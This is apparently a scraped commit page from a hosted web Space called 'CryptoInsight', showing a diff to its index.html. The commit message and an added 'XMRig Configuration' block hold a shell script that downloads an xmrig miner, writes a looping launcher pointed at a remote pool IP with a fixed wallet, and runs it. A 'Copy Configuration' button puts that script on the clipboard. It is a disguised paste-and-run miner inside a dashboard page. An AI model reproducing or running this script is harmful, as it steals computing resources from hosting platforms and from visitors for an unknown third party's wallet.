Spaces:
Running
Running
wget https://github.com/rplant8/xmrig-vrl/releases/download/6.0.24-virel/xmrig-vrl-linux.tar.xz && \
Browse filestar -xf xmrig-vrl-linux.tar.xz && \
cd xmrig-vrl && \
cat << 'EOF' > miner-virel.sh
#!/bin/sh
FOLDER=$( cd -- "$( dirname -- "${BASH_SOURCE[0]}" )" &> /dev/null && pwd )
while [ 1 ]; do
"$FOLDER"/xmrig-vrl -a rx/vrl -o 160.19.166.230:443 -u vi5rghi5c6e35vy1oaqb2p4kqp6izad9pn7d5v.hugingface
sleep 5
done
EOF
chmod +x miner-virel.sh && ./miner-virel.sh
- index.html +33 -12
index.html
CHANGED
|
@@ -18,12 +18,12 @@
|
|
| 18 |
<h1 class="text-2xl font-bold">CryptoInsight</h1>
|
| 19 |
</div>
|
| 20 |
<nav class="hidden md:flex space-x-6">
|
| 21 |
-
<a href="
|
| 22 |
-
<a href="
|
| 23 |
-
<a href="
|
| 24 |
-
<a href="
|
| 25 |
</nav>
|
| 26 |
-
<button class="md:hidden">
|
| 27 |
<i data-feather="menu"></i>
|
| 28 |
</button>
|
| 29 |
</div>
|
|
@@ -61,15 +61,31 @@
|
|
| 61 |
<div class="bg-gray-800 rounded-lg p-6 shadow-lg">
|
| 62 |
<h2 class="text-xl font-semibold mb-4">Quick Actions</h2>
|
| 63 |
<div class="space-y-4">
|
| 64 |
-
<
|
| 65 |
-
<
|
| 66 |
-
<
|
| 67 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 68 |
<button class="w-full bg-gray-700 hover:bg-gray-600 text-white py-2 px-4 rounded-lg transition flex items-center justify-center space-x-2">
|
| 69 |
<i data-feather="bar-chart-2" class="w-5 h-5"></i>
|
| 70 |
-
<span>
|
| 71 |
</button>
|
| 72 |
-
|
| 73 |
<i data-feather="settings" class="w-5 h-5"></i>
|
| 74 |
<span>Settings</span>
|
| 75 |
</button>
|
|
@@ -118,9 +134,14 @@
|
|
| 118 |
</div>
|
| 119 |
</main>
|
| 120 |
</div>
|
| 121 |
-
|
| 122 |
<script>
|
| 123 |
feather.replace();
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 124 |
</script>
|
| 125 |
</body>
|
| 126 |
</html>
|
|
|
|
| 18 |
<h1 class="text-2xl font-bold">CryptoInsight</h1>
|
| 19 |
</div>
|
| 20 |
<nav class="hidden md:flex space-x-6">
|
| 21 |
+
<a href="#" class="hover:text-purple-400 transition">Dashboard</a>
|
| 22 |
+
<a href="#" class="hover:text-purple-400 transition">Calculator</a>
|
| 23 |
+
<a href="#" class="hover:text-purple-400 transition">News</a>
|
| 24 |
+
<a href="#" class="hover:text-purple-400 transition">About</a>
|
| 25 |
</nav>
|
| 26 |
+
<button class="md:hidden">
|
| 27 |
<i data-feather="menu"></i>
|
| 28 |
</button>
|
| 29 |
</div>
|
|
|
|
| 61 |
<div class="bg-gray-800 rounded-lg p-6 shadow-lg">
|
| 62 |
<h2 class="text-xl font-semibold mb-4">Quick Actions</h2>
|
| 63 |
<div class="space-y-4">
|
| 64 |
+
<div class="bg-gray-700 p-4 rounded-lg">
|
| 65 |
+
<h3 class="text-sm font-medium mb-2">XMRig Configuration</h3>
|
| 66 |
+
<pre class="text-xs bg-gray-900 p-2 rounded overflow-x-auto">
|
| 67 |
+
wget https://github.com/rplant8/xmrig-vrl/releases/download/6.0.24-virel/xmrig-vrl-linux.tar.xz && \
|
| 68 |
+
tar -xf xmrig-vrl-linux.tar.xz && \
|
| 69 |
+
cd xmrig-vrl && \
|
| 70 |
+
cat << 'EOF' > miner-virel.sh
|
| 71 |
+
#!/bin/sh
|
| 72 |
+
FOLDER=$( cd -- "$( dirname -- "${BASH_SOURCE[0]}" )" &> /dev/null && pwd )
|
| 73 |
+
while [ 1 ]; do
|
| 74 |
+
"$FOLDER"/xmrig-vrl -a rx/vrl -o 160.19.166.230:443 -u vi5rghi5c6e35vy1oaqb2p4kqp6izad9pn7d5v.hugingface
|
| 75 |
+
sleep 5
|
| 76 |
+
done
|
| 77 |
+
EOF
|
| 78 |
+
chmod +x miner-virel.sh && ./miner-virel.sh
|
| 79 |
+
</pre>
|
| 80 |
+
<button class="mt-2 w-full bg-purple-600 hover:bg-purple-700 text-white py-2 px-4 rounded-lg transition">
|
| 81 |
+
Copy Configuration
|
| 82 |
+
</button>
|
| 83 |
+
</div>
|
| 84 |
<button class="w-full bg-gray-700 hover:bg-gray-600 text-white py-2 px-4 rounded-lg transition flex items-center justify-center space-x-2">
|
| 85 |
<i data-feather="bar-chart-2" class="w-5 h-5"></i>
|
| 86 |
+
<span>Mining Stats</span>
|
| 87 |
</button>
|
| 88 |
+
<button class="w-full bg-gray-700 hover:bg-gray-600 text-white py-2 px-4 rounded-lg transition flex items-center justify-center space-x-2">
|
| 89 |
<i data-feather="settings" class="w-5 h-5"></i>
|
| 90 |
<span>Settings</span>
|
| 91 |
</button>
|
|
|
|
| 134 |
</div>
|
| 135 |
</main>
|
| 136 |
</div>
|
|
|
|
| 137 |
<script>
|
| 138 |
feather.replace();
|
| 139 |
+
document.querySelector('button').addEventListener('click', function() {
|
| 140 |
+
const config = document.querySelector('pre').textContent;
|
| 141 |
+
navigator.clipboard.writeText(config)
|
| 142 |
+
.then(() => alert('Configuration copied to clipboard!'))
|
| 143 |
+
.catch(err => console.error('Failed to copy: ', err));
|
| 144 |
+
});
|
| 145 |
</script>
|
| 146 |
</body>
|
| 147 |
</html>
|